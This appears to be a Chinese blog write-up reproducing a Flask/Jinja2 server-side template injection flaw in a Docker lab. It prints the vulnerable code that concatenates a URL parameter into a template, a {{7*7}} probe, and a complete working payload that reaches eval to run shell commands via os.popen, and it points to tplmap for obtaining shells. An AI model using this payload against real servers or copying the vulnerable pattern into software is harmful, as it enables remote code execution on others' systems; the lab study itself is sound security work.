Flask-ssti漏洞復(fù)現(xiàn)
漏洞描述:
在jinja2模板中能夠訪問python中的內(nèi)置變量并且可以調(diào)用對應(yīng)變量類型下的方法,從而導(dǎo)致文件讀取或命令執(zhí)行
漏洞復(fù)現(xiàn):
通過docker啟動靶場之后進(jìn)入如下頁面:

然后查看一下后端代碼。如下:
from flask import Flask, request #Flask框架核心功能
from jinja2 import Template #模板引擎
app = Flask(__name__) #創(chuàng)建Flask應(yīng)用實(shí)例
@app.route("/") #綁定根路徑"/"的訪問
def index():
# 獲取URL中?name=后的值,若無則默認(rèn)為'guest'
name = request.args.get('name', 'guest')
# 動態(tài)拼接模板內(nèi)容:例如 name='John' → 生成"Hello John"
t = Template("Hello " + name)
return t.render() #渲染輸出最終HTML
if __name__ == "__main__":
app.run() #啟動開發(fā)服務(wù)器
??觸發(fā)位置??:t = Template("Hello " + name) ??
根本原因??:直接將未過濾的用戶輸入(name參數(shù))拼接進(jìn)模板字符串,導(dǎo)致攻擊者可注入Jinja2模板語法。
操作鏈??:用戶控制輸入 → 直接拼接模板 → 編譯為AST → 執(zhí)行任意代碼
根據(jù)代碼構(gòu)造參數(shù):http://xxx.xxx.xxx.xxx/?name={{7*7}},返回頁面如下圖:

證實(shí)存在SSTI漏洞。要實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行,可以使用以下POC獲取eval函數(shù)并執(zhí)行任意Python代碼:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
訪問以下URL(POC進(jìn)行URL編碼)執(zhí)行命令。結(jié)果如下圖所示:

這里推薦自動化工具tplmap,拿shell、執(zhí)行命令、bind_shell、反彈shell、上傳下載文件。Tplmap為SSTI的利用提供了很大的便利
github地址:https://github.com/epinna/tplmap

浙公網(wǎng)安備 33010602011771號